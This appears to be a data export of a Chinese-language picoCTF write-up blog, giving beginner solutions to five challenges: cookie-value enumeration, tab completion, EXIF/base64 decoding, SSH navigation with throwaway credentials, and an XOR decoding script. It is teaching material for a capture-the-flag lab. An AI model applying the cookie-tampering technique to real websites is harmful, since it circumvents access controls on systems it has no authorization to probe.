[{"content":"題目連結 https://learn.cylabacademy.org/library/173\n題目解法 啟動網站後發現有一個可以輸入餅乾名稱的地方，我們就先輸入預設的 snickerdoodle 試試看。 輸入後順利執行了，按下 F12 開啟開發工具，點擊 Application -\u0026gt; Cookies 可以發現有一個 name 的值。 可以發現餅乾名稱會隨著修改數字而變動，一個一個嘗試後發現當 name 的值為 18 時會顯示出 flag。（可以使用自動化工具去跑，但考量到這題題目數值比較小，所以就直接手動暴力嘗試） ","permalink":"https://picoctf-writeup.pinjim.dev/posts/web-exploitation/cookies/","summary":"\u003ch2 id=\"題目連結\"\u003e題目連結\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://learn.cylabacademy.org/library/173\"\u003ehttps://learn.cylabacademy.org/library/173\u003c/a\u003e\u003c/p\u003e\n\u003ch2 id=\"題目解法\"\u003e題目解法\u003c/h2\u003e\n\u003cp\u003e啟動網站後發現有一個可以輸入餅乾名稱的地方，我們就先輸入預設的 snickerdoodle 試試看。\n\u003cimg alt=\"網站畫面\" loading=\"lazy\" src=\"/posts/web-exploitation/cookies/image1.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e輸入後順利執行了，按下 F12 開啟開發工具，點擊 Application -\u0026gt; Cookies 可以發現有一個 \u003ccode\u003ename\u003c/code\u003e 的值。\n\u003cimg alt=\"網站開發者面板\" loading=\"lazy\" src=\"/posts/web-exploitation/cookies/image2.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e可以發現餅乾名稱會隨著修改數字而變動，一個一個嘗試後發現當 \u003ccode\u003ename\u003c/code\u003e 的值為 18 時會顯示出 flag。（可以使用自動化工具去跑，但考量到這題題目數值比較小，所以就直接手動暴力嘗試）\n\u003cimg alt=\"flag\" loading=\"lazy\" src=\"/posts/web-exploitation/cookies/image3.webp\"\u003e\u003c/p\u003e","title":"Cookies"},{"content":"題目連結 https://learn.cylabacademy.org/library/189\n題目解法 下載並解壓縮後，可以看到是一個有很多層的目錄，然後就可以直接複製整個路徑。\n$ unzip Addadshashanammu.zip Archive: Addadshashanammu.zip creating: Addadshashanammu/ creating: Addadshashanammu/Almurbalarammi/ creating: Addadshashanammu/Almurbalarammi/Ashalmimilkala/ creating: Addadshashanammu/Almurbalarammi/Ashalmimilkala/Assurnabitashpi/ creating: Addadshashanammu/Almurbalarammi/Ashalmimilkala/Assurnabitashpi/Maelkashishi/ creating: Addadshashanammu/Almurbalarammi/Ashalmimilkala/Assurnabitashpi/Maelkashishi/Onnissiralis/ creating: Addadshashanammu/Almurbalarammi/Ashalmimilkala/Assurnabitashpi/Maelkashishi/Onnissiralis/Ularradallaku/ extracting: Addadshashanammu/Almurbalarammi/Ashalmimilkala/Assurnabitashpi/Maelkashishi/Onnissiralis/Ularradallaku/fang-of-haynekhtnamet.c inflating: Addadshashanammu/Almurbalarammi/Ashalmimilkala/Assurnabitashpi/Maelkashishi/Onnissiralis/Ularradallaku/fang-of-haynekhtnamet 題目希望使用者只用 TAB 進行補全，所以可以輸入 cat 之後不斷按下 TAB 補全目錄或檔案名稱，最後就可以順讀取利包含 flag 的檔案。\n$ cat Addadshashanammu/Almurbalarammi/Ashalmimilkala/Assurnabitashpi/Maelkashishi/Onnissiralis/Ularradallaku/fang-of-haynekhtnamet.c #include \u0026lt;stdio.h\u0026gt; int main(){ printf(\u0026#34;*ZAP!* picoCTF{l3v-------------------------427}\\n\u0026#34;); } ","permalink":"https://picoctf-writeup.pinjim.dev/posts/general-skills/tab-tab-attack/","summary":"\u003ch2 id=\"題目連結\"\u003e題目連結\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://learn.cylabacademy.org/library/189\"\u003ehttps://learn.cylabacademy.org/library/189\u003c/a\u003e\u003c/p\u003e\n\u003ch2 id=\"題目解法\"\u003e題目解法\u003c/h2\u003e\n\u003cp\u003e下載並解壓縮後，可以看到是一個有很多層的目錄，\u003cdel\u003e然後就可以直接複製整個路徑\u003c/del\u003e。\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e$ unzip Addadshashanammu.zip \nArchive:  Addadshashanammu.zip\n   creating: Addadshashanammu/\n   creating: Addadshashanammu/Almurbalarammi/\n   creating: Addadshashanammu/Almurbalarammi/Ashalmimilkala/\n   creating: Addadshashanammu/Almurbalarammi/Ashalmimilkala/Assurnabitashpi/\n   creating: Addadshashanammu/Almurbalarammi/Ashalmimilkala/Assurnabitashpi/Maelkashishi/\n   creating: Addadshashanammu/Almurbalarammi/Ashalmimilkala/Assurnabitashpi/Maelkashishi/Onnissiralis/\n   creating: Addadshashanammu/Almurbalarammi/Ashalmimilkala/Assurnabitashpi/Maelkashishi/Onnissiralis/Ularradallaku/\n extracting: Addadshashanammu/Almurbalarammi/Ashalmimilkala/Assurnabitashpi/Maelkashishi/Onnissiralis/Ularradallaku/fang-of-haynekhtnamet.c  \n  inflating: Addadshashanammu/Almurbalarammi/Ashalmimilkala/Assurnabitashpi/Maelkashishi/Onnissiralis/Ularradallaku/fang-of-haynekhtnamet\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e題目希望使用者只用 TAB 進行補全，所以可以輸入 \u003ccode\u003ecat\u003c/code\u003e 之後不斷按下 TAB 補全目錄或檔案名稱，最後就可以順讀取利包含 flag 的檔案。\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e$ cat Addadshashanammu/Almurbalarammi/Ashalmimilkala/Assurnabitashpi/Maelkashishi/Onnissiralis/Ularradallaku/fang-of-haynekhtnamet.c \n#include \u0026lt;stdio.h\u0026gt;\n\n\nint main(){\nprintf(\u0026#34;*ZAP!* picoCTF{l3v-------------------------427}\\n\u0026#34;);\n}\n\u003c/code\u003e\u003c/pre\u003e","title":"Tab, Tab, Attack"},{"content":"題目連結 https://learn.cylabacademy.org/library/186\n題目解法 下載後得到一個 cat.jpg 檔案 根據提示了解到要查看圖片的 \u0026ldquo;detail\u0026rdquo;，使用 exiftool 或其他 exif 查看的工具可以查看圖片的詳細資料如光圈、拍攝時間、地點等資訊。\n$ exiftool cat.jpg ExifTool Version Number : 13.50 File Name : cat.jpg Directory : . File Size : 878 kB File Modification Date/Time : 2025:12:12 14:21:14-05:00 File Access Date/Time : 2026:07:14 14:26:00-04:00 File Inode Change Date/Time : 2026:07:14 14:26:12-04:00 File Permissions : -rw-rw-r-- File Type : JPEG File Type Extension : jpg MIME Type : image/jpeg JFIF Version : 1.02 Resolution Unit : None X Resolution : 1 Y Resolution : 1 Current IPTC Digest : 7a78f3d9cfb1ce42ab5a3aa30573d617 Copyright Notice : PicoCTF Application Record Version : 4 XMP Toolkit : Image::ExifTool 10.80 License : cGljb0NURnt0aGVfbTN0YWRhdGFfMXNfbW9kaWZpZWR9 Rights : PicoCTF Image Width : 2560 Image Height : 1598 Encoding Process : Baseline DCT, Huffman coding Bits Per Sample : 8 Color Components : 3 Y Cb Cr Sub Sampling : YCbCr4:2:0 (2 2) Image Size : 2560x1598 Megapixels : 4.1 在 License 的地方是一串亂碼\ncGljb0NURnt0aGVfbTN0YWRhdGFfMXNfbW9kaWZpZWR9 使用 base64 解碼可以得到 flag\npicoCTF{the------------------ied} ","permalink":"https://picoctf-writeup.pinjim.dev/posts/forensics/information/","summary":"\u003ch2 id=\"題目連結\"\u003e題目連結\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://learn.cylabacademy.org/library/186\"\u003ehttps://learn.cylabacademy.org/library/186\u003c/a\u003e\u003c/p\u003e\n\u003ch2 id=\"題目解法\"\u003e題目解法\u003c/h2\u003e\n\u003cp\u003e下載後得到一個 \u003ccode\u003ecat.jpg\u003c/code\u003e 檔案\n\u003cimg alt=\"題目圖片\" loading=\"lazy\" src=\"/posts/forensics/information/cat.jpg\"\u003e\n根據提示了解到要查看圖片的 \u0026ldquo;detail\u0026rdquo;，使用 \u003ccode\u003eexiftool\u003c/code\u003e 或其他 exif 查看的工具可以查看圖片的詳細資料如光圈、拍攝時間、地點等資訊。\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e$ exiftool cat.jpg           \nExifTool Version Number         : 13.50\nFile Name                       : cat.jpg\nDirectory                       : .\nFile Size                       : 878 kB\nFile Modification Date/Time     : 2025:12:12 14:21:14-05:00\nFile Access Date/Time           : 2026:07:14 14:26:00-04:00\nFile Inode Change Date/Time     : 2026:07:14 14:26:12-04:00\nFile Permissions                : -rw-rw-r--\nFile Type                       : JPEG\nFile Type Extension             : jpg\nMIME Type                       : image/jpeg\nJFIF Version                    : 1.02\nResolution Unit                 : None\nX Resolution                    : 1\nY Resolution                    : 1\nCurrent IPTC Digest             : 7a78f3d9cfb1ce42ab5a3aa30573d617\nCopyright Notice                : PicoCTF\nApplication Record Version      : 4\nXMP Toolkit                     : Image::ExifTool 10.80\nLicense                         : cGljb0NURnt0aGVfbTN0YWRhdGFfMXNfbW9kaWZpZWR9\nRights                          : PicoCTF\nImage Width                     : 2560\nImage Height                    : 1598\nEncoding Process                : Baseline DCT, Huffman coding\nBits Per Sample                 : 8\nColor Components                : 3\nY Cb Cr Sub Sampling            : YCbCr4:2:0 (2 2)\nImage Size                      : 2560x1598\nMegapixels                      : 4.1\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e在 License 的地方是一串亂碼\u003c/p\u003e","title":"information"},{"content":"題目連結 https://learn.cylabacademy.org/library/189\n題目解法 啟動後題目會提供目標主機名稱、使用者名稱、密碼、port 等資訊，類似下方字串： Login via ssh as ctf-player with the password, 8c606eb1 on the host wily-courier.picoctf.net and port 64506. 我們要使用 ssh 指令來連線到目標主機\nssh -p \u0026lt;port\u0026gt; \u0026lt;username\u0026gt;@\u0026lt;host\u0026gt; ssh -p 64506 ctf-player@wily-courier.picoctf 連線後會提示確認 fingerprint 是否正確，輸入 yes 之後輸入密碼 (密碼不會顯示出來)\nThe authenticity of host \u0026#39;[wily-courier.picoctf.net]:64506 ([18.189.99.27]:64506)\u0026#39; can\u0026#39;t be established. ED25519 key fingerprint is: SHA256:ErlUUvYlrAxfSW1tIdzfOnGTBSr5OFkZvz0nMN4Vodw This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added \u0026#39;[wily-courier.picoctf.net]:64506\u0026#39; (ED25519) to the list of known hosts. ** WARNING: connection is not using a post-quantum key exchange algorithm. ** This session may be vulnerable to \u0026#34;store now, decrypt later\u0026#34; attacks. ** The server may need to be upgraded. See https://openssh.com/pq.html ctf-player@wily-courier.picoctf.net\u0026#39;s password: 連線到主機後，使用 ls 指令查看當前目錄下有甚麼檔案\n1 2 ctf-player@pico-chall$ ls 1of3.flag.txt instructions-to-2of3.txt 發現有兩個檔案，包含一部份 flag 以及下一部份 flag 的提示，使用 cat 指令查看檔案內容。\n1 2 3 4 ctf-player@pico-chall$ cat 1of3.flag.txt pic-------sh_ ctf-player@pico-chall$ cat instructions-to-2of3.txt Next, go to the root of all things, more succinctly `/` 可以看到提示下一個位置是前往根目錄 (/)，再次重複列舉檔案以及讀取檔案等步驟\n1 2 3 4 5 6 7 ctf-player@pico-chall$ cd / ctf-player@pico-chall$ ls 2of3.flag.txt bin boot challenge dev etc home instructions-to-3of3.txt lib lib64 media mnt opt proc root run sbin srv sys tmp usr var ctf-player@pico-chall$ cat 2of3.flag.txt 0ut-------t3r_ ctf-player@pico-chall$ cat instructions-to-3of3.txt Lastly, ctf-player, go home... more succinctly `~` 可以看到提示下一個位置是前往家目錄 (~)，再次重複列舉檔案以及讀取檔案等步驟\n1 2 3 4 5 ctf-player@pico-chall$ cd ~ ctf-player@pico-chall$ ls 3of3.flag.txt drop-in ctf-player@pico-chall$ cat 3of3.flag.txt 0b2---4f} ","permalink":"https://picoctf-writeup.pinjim.dev/posts/general-skills/magikarp-ground-mission/","summary":"\u003ch2 id=\"題目連結\"\u003e題目連結\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://learn.cylabacademy.org/library/189\"\u003ehttps://learn.cylabacademy.org/library/189\u003c/a\u003e\u003c/p\u003e\n\u003ch2 id=\"題目解法\"\u003e題目解法\u003c/h2\u003e\n\u003cp\u003e啟動後題目會提供目標主機名稱、使用者名稱、密碼、port 等資訊，類似下方字串：\nLogin via ssh as \u003ccode\u003ectf-player\u003c/code\u003e with the password, \u003ccode\u003e8c606eb1\u003c/code\u003e on the host \u003ccode\u003ewily-courier.picoctf.net\u003c/code\u003e and port \u003ccode\u003e64506\u003c/code\u003e.\n我們要使用 \u003ccode\u003essh\u003c/code\u003e 指令來連線到目標主機\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003essh -p \u0026lt;port\u0026gt; \u0026lt;username\u0026gt;@\u0026lt;host\u0026gt;\nssh -p 64506 ctf-player@wily-courier.picoctf\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e連線後會提示確認 fingerprint 是否正確，輸入 \u003ccode\u003eyes\u003c/code\u003e\n之後輸入密碼 (密碼不會顯示出來)\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003eThe authenticity of host \u0026#39;[wily-courier.picoctf.net]:64506 ([18.189.99.27]:64506)\u0026#39; can\u0026#39;t be established.\nED25519 key fingerprint is: SHA256:ErlUUvYlrAxfSW1tIdzfOnGTBSr5OFkZvz0nMN4Vodw\nThis key is not known by any other names.\nAre you sure you want to continue connecting (yes/no/[fingerprint])? yes\nWarning: Permanently added \u0026#39;[wily-courier.picoctf.net]:64506\u0026#39; (ED25519) to the list of known hosts.\n** WARNING: connection is not using a post-quantum key exchange algorithm.\n** This session may be vulnerable to \u0026#34;store now, decrypt later\u0026#34; attacks.\n** The server may need to be upgraded. See https://openssh.com/pq.html\nctf-player@wily-courier.picoctf.net\u0026#39;s password:\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e連線到主機後，使用 \u003ccode\u003els\u003c/code\u003e 指令查看當前目錄下有甚麼檔案\u003c/p\u003e","title":"Magikarp Ground Mission"},{"content":"題目連結 https://learn.cylabacademy.org/library/238\n題目解法 將 codebook.txt 與 code.py 下載到同個目錄中。 執行 code.py 即可得到 flag。\n$ python code.py picoCTF{c0d------------------82c} 題目原始碼 codebook.txt 1 azbycxdwevfugthsirjqkplomn code.py 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 import random import sys def str_xor(secret, key): #extend key to secret length new_key = key i = 0 while len(new_key) \u0026lt; len(secret): new_key = new_key + key[i] i = (i + 1) % len(key) return \u0026#34;\u0026#34;.join([chr(ord(secret_c) ^ ord(new_key_c)) for (secret_c,new_key_c) in zip(secret,new_key)]) flag_enc = chr(0x13) + chr(0x01) + chr(0x17) + chr(0x07) + chr(0x2c) + chr(0x3a) + chr(0x2f) + chr(0x1a) + chr(0x0d) + chr(0x53) + chr(0x0c) + chr(0x47) + chr(0x0a) + chr(0x5f) + chr(0x5e) + chr(0x02) + chr(0x3e) + chr(0x5a) + chr(0x56) + chr(0x5d) + chr(0x45) + chr(0x5d) + chr(0x58) + chr(0x31) + chr(0x58) + chr(0x58) + chr(0x59) + chr(0x02) + chr(0x51) + chr(0x4c) + chr(0x5a) + chr(0x0c) + chr(0x13) def print_flag(): try: codebook = open(\u0026#39;codebook.txt\u0026#39;, \u0026#39;r\u0026#39;).read() password = codebook[4] + codebook[14] + codebook[13] + codebook[14] +\\ codebook[23]+ codebook[25] + codebook[16] + codebook[0] +\\ codebook[25] flag = str_xor(flag_enc, password) print(flag) except FileNotFoundError: print(\u0026#39;Couldn\\\u0026#39;t find codebook.txt. Did you download that file into the same directory as this script?\u0026#39;) def main(): print_flag() if __name__ == \u0026#34;__main__\u0026#34;: main() ","permalink":"https://picoctf-writeup.pinjim.dev/posts/general-skills/codebook/","summary":"\u003ch2 id=\"題目連結\"\u003e題目連結\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://learn.cylabacademy.org/library/238\"\u003ehttps://learn.cylabacademy.org/library/238\u003c/a\u003e\u003c/p\u003e\n\u003ch2 id=\"題目解法\"\u003e題目解法\u003c/h2\u003e\n\u003cp\u003e將 \u003ccode\u003ecodebook.txt\u003c/code\u003e 與 \u003ccode\u003ecode.py\u003c/code\u003e 下載到同個目錄中。\n執行 \u003ccode\u003ecode.py\u003c/code\u003e 即可得到 flag。\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e$ python code.py     \npicoCTF{c0d------------------82c}\n\u003c/code\u003e\u003c/pre\u003e\u003ch2 id=\"題目原始碼\"\u003e題目原始碼\u003c/h2\u003e\n\u003cp\u003e\u003ccode\u003ecodebook.txt\u003c/code\u003e\n\n\n\n\n\n  \n  \u003cdiv class=\"highlight\"\u003e\u003cdiv style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\n\u003ctable style=\"border-spacing:0;padding:0;margin:0;border:0;\"\u003e\u003ctr\u003e\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e1\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;;width:100%\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-text\" data-lang=\"text\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eazbycxdwevfugthsirjqkplomn\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\n\u003ccode\u003ecode.py\u003c/code\u003e\n\n\n\n\n\n  \n  \u003cdiv class=\"highlight\"\u003e\u003cdiv style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\n\u003ctable style=\"border-spacing:0;padding:0;margin:0;border:0;\"\u003e\u003ctr\u003e\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 1\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 2\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 3\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 4\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 5\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 6\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 7\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 8\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 9\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e10\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e11\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e12\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e13\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e14\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e15\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e16\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e17\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e18\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e19\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e20\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e21\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e22\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e23\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e24\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e25\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e26\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e27\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e28\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e29\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e30\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e31\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e32\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e33\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e34\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e35\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e36\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e37\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e38\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e39\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e40\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e41\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e42\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e43\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;;width:100%\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-python\" data-lang=\"python\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003eimport\u003c/span\u003e random\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003eimport\u003c/span\u003e sys\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003edef\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003estr_xor\u003c/span\u003e(secret, key):\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#75715e\"\u003e#extend key to secret length\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    new_key \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e key\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    i \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003ewhile\u003c/span\u003e len(new_key) \u003cspan style=\"color:#f92672\"\u003e\u0026lt;\u003c/span\u003e len(secret):\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        new_key \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e new_key \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e key[i]\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        i \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e (i \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e%\u003c/span\u003e len(key)        \n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003ereturn\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u0026#34;\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003ejoin([chr(ord(secret_c) \u003cspan 